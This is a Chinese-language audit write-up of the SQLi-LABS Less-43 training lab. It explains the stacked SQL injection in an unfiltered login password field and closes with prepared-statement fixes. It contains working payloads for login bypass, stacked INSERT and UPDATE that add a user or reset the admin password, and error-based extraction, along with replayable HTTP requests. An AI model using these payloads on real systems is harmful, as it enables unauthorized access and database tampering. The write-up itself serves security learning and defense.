Less-43 审计报告:登录处堆叠注入(密码字段未过滤,括号闭合)

1. 关卡概述

2. 漏洞代码定位

文件: Less-43/login.php

// 第 25 行:用户名被转义
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

// 第 26 行:关键 —— 密码字段完全未过滤!
$password = $_POST["login_password"];

// 第 42 行:括号 + 单引号拼接
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

// 第 43 行:mysqli_multi_query 支持多语句
if (@mysqli_multi_query($con1, $sql))
{
    // 第 46~58 行:有结果则返回 $row[1]
    if($result = @mysqli_store_result($con1))
    {
        if($row = @mysqli_fetch_row($result))
        {
            if ($row[1]) { return $row[1]; }
            else { return 0; }
        }
    }
    else
    {
        // 第 64 行:报错回显
        print_r(mysqli_error($con1));
    }
}
else
{
    // 第 71 行:报错回显
    print_r(mysqli_error($con1));
}

第 80~85 行:返回非 0 则写 session、setcookie 并跳转 logged-in.php。

3. 漏洞分析

• 核心缺陷一:第 26 行密码字段未过滤,可直接注入。
• 核心缺陷二:mysqli_multi_query 支持堆叠多语句。
• 闭合方式:WHERE username=('$username') and password=('$password'),payload 以 ') 闭合 (',-- - 注释尾部。
• 报错回显:第 64、71 行;另有"是否跳转 logged-in.php"行为差异。
• 与 Less-42 的区别:模板为 password=('$password'),需多闭合一个 )。

4. 利用方式

步骤一:万能密码登录

login_user = admin
login_password = ') or 1=1-- -

拼接后:

SELECT * FROM users WHERE username=('admin') and password=('') or 1=1-- -')

• or 1=1 恒真 → 返回第一行 → 登录成功。

步骤二:堆叠注入插入新用户(核心 payload)

login_user = admin
login_password = admin') ;insert into users(id,username,password) values(100,'admin2','admin2')-- -

拼接后:

SELECT * FROM users WHERE username=('admin') and password=('admin') ;
insert into users(id,username,password) values(100,'admin2','admin2')-- -')

步骤三:堆叠 UPDATE

login_password = admin') ;update users set password='pwned' where username='admin'-- -

步骤四:报错注入

login_password = ') and extractvalue(1,concat(0x7e,database()))-- -

5. Yakit 重放数据包

POST /sqli-labs/Less-43/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 105
Connection: close

login_user=admin&login_password=admin%27)%20%3Binsert%20into%20users(id,username,password)%20values(100,%27admin2%27,%27admin2%27)--%20-&mysubmit=Login

万能密码报文:

POST /sqli-labs/Less-43/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 44
Connection: close

login_user=admin&login_password=%27)%20or%201%3D1--%20-&mysubmit=Login

%27='、%20=空格、%3B=;、%3D==、%28=(、%29=)。Content-Length 以实际发送字节数为准。

6. 修复建议

修复一:PDO 预处理 + 禁多语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :u AND password = :p LIMIT 0,1");
$stmt->execute([':u' => $_POST['login_user'], ':p' => $_POST['login_password']]);

修复二:mysqli 预处理 + 哈希密码

<?php
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $_POST['login_user']);
$stmt->execute();
// 用 password_verify() 比对哈希,而不是把密码拼进 SQL

修复三:加固要点

• 移除 mysqli_multi_query;所有字段(含密码)一律参数化;
• 登录认证改哈希密码 + password_verify();
• 关闭 mysqli_error() 回显;数据库最小权限;
• 升级 PHP 7+ / 8+。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysqli 扩展。
• 本关要点:密码字段未过滤 + 括号闭合 + 堆叠查询。